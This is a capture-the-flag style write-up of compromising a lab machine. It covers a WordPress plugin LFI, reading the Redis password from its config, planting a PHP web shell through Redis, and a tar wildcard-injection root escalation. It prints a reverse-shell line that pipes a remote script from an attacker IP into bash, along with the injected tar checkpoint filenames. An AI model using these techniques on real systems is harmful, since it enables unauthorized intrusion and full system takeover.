Writeup by wook413

Recon

Nmap

As per my standard methodology, I began by performing a comprehensive Nmap scan of all 65,535 TCP ports, followed by a targeted service scan of the open ports and a scan of the top 10 UDP ports.

Initial Access

HTTP 80

Upon identifying an active HTTP service on port 80, I ran the Nmap http-enum script, which revealed a WordPress installation.

image-20260204224243126

I used wpscan to enumerate the WordPress site, identifying a plugin named “site-editor.” A search on Searchsploit confirmed that this specific version of the plugin is vulnerable to LFI.

I successfully exploited the LFI to read /etc/passwd , confirming the existence of a user named alice . However, my attempt to retrieve her private SSH key via the same exploit was unsuccessful.

image-20260204224258056

Redis 6379

Shifting focus to Redis, the info command initially returned “NOAUTH Authentication required.” While HackTricks notes that Redis often lacks credentials by default, this instance was configured with a password or username + password.

image-20260204224311880

Leveraging the previously discovered LFI, I accessed /etc/redis/redis.conf and grepped for the requirepass directive. I found the password and successfully authenticated.

After successful authentication, I was able to enumerate its version 5.0.14

I initially tried the redis-rogue-server exploit to obtain an interactive shell, but it failed to execute in this environment.

I pivoted to a PHP Web Shell strategy, exploiting a Redis misconfiguration that allows changing the database directory and filename. I set the directory to /opt/redis-files , renamed the DB file to wook.php , and saved a PHP snippet.

After verifying the phpinfo() page through the LFI, I updated wook.php with a reverse shell payload: curl <http://192.168.45.236/shell.sh> | bash . This successfully established a reverse shell as the user alice .

image-20260204224325398

image-20260204224338074

Shell as alice

Found local.txt

Privilege Escalation

Upon gaining initial access, I inspected wp-config.php and discovered MySQL credentials. Using these, I accessed the database and dumped the wp_users table; however, I was unable to crack the admin user’s password hash.

While auditing the system deeper, I discovered a suspicious cronjob named backup.sh running as root every 3 minutes. The cronjob was configured as */3 * * * * , which differs from 3 * * * * (the latter only runs at the 3rd minute of every hour).

This specific script monitors /var/www/html for any changes within the last 3 minutes and, if found, creates a compressed archive named /opt/backups/website.tar using a wildcard (*).

The use of the wildcard in the tar command presented a Wildcard Injection vulnerability. When the shell expands the * , it treats filenames starting with dashes as command-line arguments.

To exploit this, I created two “trigger” files: --checkpoint=1 and --checkpoint-action=exec=sh wook.sh . My payload in wook.sh was designed to set the SUID bit on /bin/bash .

After waiting for the 3-minute cron cycle, I verified that the SUID bit was successfully set on /bin/bash .

Shell as root

Executing /bin/bash -p granted me a shell with full root privileges.

Found proof.txt